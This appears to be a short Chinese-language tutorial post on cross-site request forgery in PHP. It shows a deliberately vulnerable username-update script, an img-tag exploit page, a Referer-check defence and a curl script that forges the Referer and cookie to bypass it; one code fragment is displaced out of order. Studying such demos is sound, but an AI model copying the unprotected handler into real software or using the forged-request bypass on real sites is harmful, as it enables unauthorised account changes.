标签:curl csr bsp cookie 登录 referer str put get
原理:
#csrfdemo.php <?php $data = json_decode(file_get_contents(‘data.json‘), true); if($data[‘username
#CSRFUpdate.php //exp <?php echo ‘Change Username‘; ?> <img src="../Update.php?uid=101&username=jsonp">
Update.php <?php $str = file_get_contents(‘data.json‘); $data = json_decode($str, true); empty($_COOKIE[‘uid‘]) || empty($_GET[‘uid‘]) || $_GET[‘uid‘] != $data[‘id‘] ? die(‘非法用户‘) : ‘‘; $data[‘username‘] = empty($_GET[‘username‘]) ? die(‘用户名不能为空‘) : $_GET[‘username‘]; $data[‘username‘] = $_GET[‘username‘]; if(file_put_contents(‘data.json‘, json_encode($data))) { echo "用户名已更改为{$data[‘username‘]}<br>"; } else { die(‘更新失败‘); } ?>
‘]) { setcookie(‘uid‘, $data[‘id‘], 0); echo "登录成功, {$data[‘username‘]}<br>"; } ?> <a href = "Update.php?uid=101&username=json"> 更新用户名 </a>
#data.json {"id":"101","username":"jsonp"}
防御:
方式一:Referer字段(同源)
1 #Update.php 2 <?php 3 if(!empty($_SERVER[‘HTTP_REFERER‘])) { 4 if(parse_url($_SERVER[‘HTTP_REFERER‘], PHP_URL_HOST) != ‘csrfdemo.php‘) { 5 echo "非法请求"; 6 exit(); 7 } 8 } 9 $str = file_get_contents(‘data.json‘); 10 $data = json_decode($str, true); 11 12 empty($_COOKIE[‘uid‘]) || empty($_GET[‘uid‘]) || $_GET[‘uid‘] != $data[‘id‘] ? die(‘非法用户‘) : ‘‘; 13 $data[‘username‘] = empty($_GET[‘username‘]) ? die(‘用户名不能为空‘) : $_GET[‘username‘]; 14 $data[‘username‘] = $_GET[‘username‘]; 15 if(file_put_contents(‘data.json‘, json_encode($data))) { 16 echo "用户名已更改为{$data[‘username‘]}<br>"; 17 } else { 18 die(‘更新失败‘); 19 } 20 21 ?>
绕过:
//curl构造Referer头 <?php function curl_post($url){ $refer = ‘csrfdemo.php‘; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_REFERER, $refer); curl_setopt($ch, CURLOPT_COOKIE, ‘uid=101‘); $output = curl_exec($ch); curl_close($ch); return $output; } // echo ‘Change Username‘; var_dump(curl_post("../Update.php?uid=101&username=jsonp445")); ?> <img src="../Update.php?uid=101&username=jsonp445">
方式二:通过csrf_token csrf_token 进行验证(session+token)
绕过:session劫持+token劫持
标签:curl csr bsp cookie 登录 referer str put get
原文地址:https://www.cnblogs.com/AtesetEnginner/p/10966492.html